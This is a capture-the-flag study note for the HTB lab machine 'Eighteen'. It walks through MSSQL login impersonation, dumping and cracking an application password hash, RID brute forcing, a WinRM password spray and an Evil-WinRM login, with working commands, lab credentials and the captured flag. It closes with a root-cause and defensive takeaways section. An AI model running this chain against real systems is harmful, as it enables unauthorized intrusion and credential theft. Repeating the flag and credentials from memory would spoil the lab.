Pentest Notes – Eighteen Foothold Chain

Date: 2026-01-03
Box: HTB — Eighteen (Pentest Study Note)

Eighteen – MSSQL Impersonation to user.txt (DB Hash Dump → PBKDF2 Crack → WinRM)

A full port scan revealed IIS on 80 (redirecting to eighteen.htb), MSSQL on 1433, and WinRM on 5985. Direct MSSQL access with kevin was confirmed (password required an exclamation mark). The kevin login could impersonate appdev, enabling database enumeration and extraction of a Flask/Werkzeug-style PBKDF2 hash from the application DB (financial_planner). After cracking the hash to recover iloveyou1, RID brute forcing was used to enumerate AD users, and a password spray over WinRM identified a valid domain user (adam.scott). Evil-WinRM access allowed retrieval of user.txt. Root escalation was attempted later but not achieved in this run.
IIS MSSQL Impacket PBKDF2 RID Brute Password Brute Force Evil-WinRM User Flag No Root

0. Summary

Full chain, step by step:

  1. Scan ports/services and confirm web redirect to eighteen.htb.
  2. Authenticate to MSSQL as kevin
  3. Enumerate impersonation rights and switch context to appdev.
  4. Discover the financial_planner database and enumerate tables/columns.
  5. Dump users table and extract PBKDF2 password hash for admin.
  6. Crack the PBKDF2 hash to recover iloveyou1.
  7. RID brute force via MSSQL to enumerate AD users and build a spray list.
  8. Password spray over WinRM and identify valid credentials for adam.scott.
  9. Log in with Evil-WinRM and read user.txt.

This is a credential + trust-chain compromise: “MSSQL access” + “SQL impersonation” + “app DB credential exposure” + “password reuse” → WinRM foothold.

Note
I have failed to perform LPE and obtain root privilege.

1. Initial Recon

1-1. Port scan

sudo nmap -sV -sC -p- 10.10.11.95 -oA portScan --min-rate=1000

1-2. Services

  • 80/tcp – IIS 10.0 (redirects to http://eighteen.htb/)
  • 1433/tcp – Microsoft SQL Server 2022
  • 5985/tcp – WinRM (Microsoft HTTPAPI 2.0)

2. MSSQL – Confirm Access with Correct Password

Initial access with already provided creds: kevin:iNa2we6haRj2gaw!. Web app did not recognize this creds, but did in mssql server. 

impacket-mssqlclient kevin:'iNa2we6haRj2gaw!'@10.10.11.95
...
# TLS negotiation succeeded
SQL (kevin guest@master)>

3. Impersonation → Switch Context to appdev

3-1. Enumerate impersonation rights

enum_impersonate
# Key output:
# kevin can IMPERSONATE appdev
execute as LOGIN ... grantee kevin grantor appdev

3-2. Attempt to enable xp_cmdshell (permission denied)

enable_xp_cmdshell
User does not have permission
You do not have permission to run the RECONFIGURE statement

3-3. Impersonate appdev

exec_as_login appdev
SQL (appdev appdev@master)>
Key insight
Even when xp_cmdshell is blocked, SQL Server impersonation can still be enough to access sensitive application data, especially credential material stored in an app database.

4. Database Enumeration → Locate Application DB

4-1. List databases

enum_db
# financial_planner identified

4-2. Switch DB context

use financial_planner

5. Schema Recon – Tables and Columns

5-1. List tables

select name from financial_planner.sys.tables;
# includes: users, incomes, expenses, ...

5-2. Inspect users table columns

select column_name, data_type
from financial_planner.information_schema.columns
where table_name = 'users';
# key columns:
# username, email, password_hash, is_admin

6. Dump Admin Hash from Application DB

6-1. Extract usernames and password hashes

SELECT username, email, password_hash
FROM financial_planner.dbo.users;

6-2. Key result

admin / [email protected]
pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb...
Why this matters
This PBKDF2 format is common in Flask/Werkzeug. Once the hash is obtained, the remaining barrier becomes cracking effort and password quality—especially dangerous if the password is reused across services.

7. PBKDF2 Crack → Recover Plaintext Password

Hashcat formatting issues slowed the initial attempt, so the workflow switched to a custom Python cracker. PBKDF2-SHA256 with 600000 iterations is expensive on CPU, so multiprocessing was used.

7-1. Run cracker

python3 crack.py

7-2. Result

[+] PASSWORD FOUND: iloveyou1
Recovered credential
Web app admin password recovered as: iloveyou1

8. AD Enumeration – RID Brute Force via MSSQL

Since the web admin account is not necessarily a domain admin, the next move was to enumerate potential AD usernames and attempt a controlled spray with the recovered password.

8-1. RID brute

nxc mssql 10.10.11.95 -u kevin -p 'iNa2we6haRj2gaw!' --rid-brute --local-auth

8-2. Key results

Domain: eighteen.htb

EIGHTEEN\Administrator (500)
EIGHTEEN\krbtgt (502)
EIGHTEEN\DnsAdmins (1101)

Service account:
EIGHTEEN\mssqlsvc (1601)

Candidate users:
jamie.dunn
jane.smith
alice.jones
adam.scott
bob.brown
carol.white
dave.green

9. User brute force → WinRM Valid User Found

9-1. Spray over WinRM

nxc winrm 10.10.11.95 -u users.txt -p 'iloveyou1'

9-2. Key result

[+] eighteen.htb\adam.scott:iloveyou1 (Pwn3d!)
Key insight
The decisive pivot here was password reuse. A recovered web credential became a domain foothold once validated against WinRM.

10. Evil-WinRM → Retrieve user.txt

10-1. Connect

evil-winrm -i 10.10.11.95 -u adam.scott -p 'iloveyou1' -d EIGHTEEN

10-2. Locate flag file

get-childitem -path . -File -recurse -include *.txt
Directory: C:\Users\adam.scott\Desktop
-ar---  1/3/2026  3:39 PM  34  user.txt

10-3. Read flag

get-content .\Desktop\user.txt
c41918adc1dc58ac6235d3f4b6b1f2ae

11. Root Status

Result
Root escalation was attempted later, but root access was not achieved in this run. This note ends at the user flag.

12. Root Causes Summary

Weakness / Condition Impact
MSSQL reachable from attacker Enables direct database login attempts and internal enumeration
SQL impersonation rights (kevin → appdev) Privilege escalation inside SQL context without OS command execution
Application DB stores recoverable password material Hash dump becomes feasible credential recovery path
Crackable password / weak secrecy PBKDF2 cost slows attackers but does not stop weak-password recovery
Password reuse across services Recovered web credential reused for domain user → WinRM foothold
WinRM exposed Remote interactive shell once valid AD creds are found

13. Key Takeaways

  • Impersonation is a big deal. Even without xp_cmdshell, SQL-level trust can expose sensitive data.
  • App DB credentials are a pivot point. Hashes should be protected, and access to the DB should be tightly scoped.
  • Password reuse collapses boundaries. A web credential can quickly become an AD credential.
  • WinRM exposure increases blast radius. Valid creds turn into an interactive foothold immediately.
  • PBKDF2 is not a silver bullet. It raises cracking cost, but weak passwords still fall.

Overall: a clean, deterministic chain from SQL access to a domain user session via credential recovery and reuse.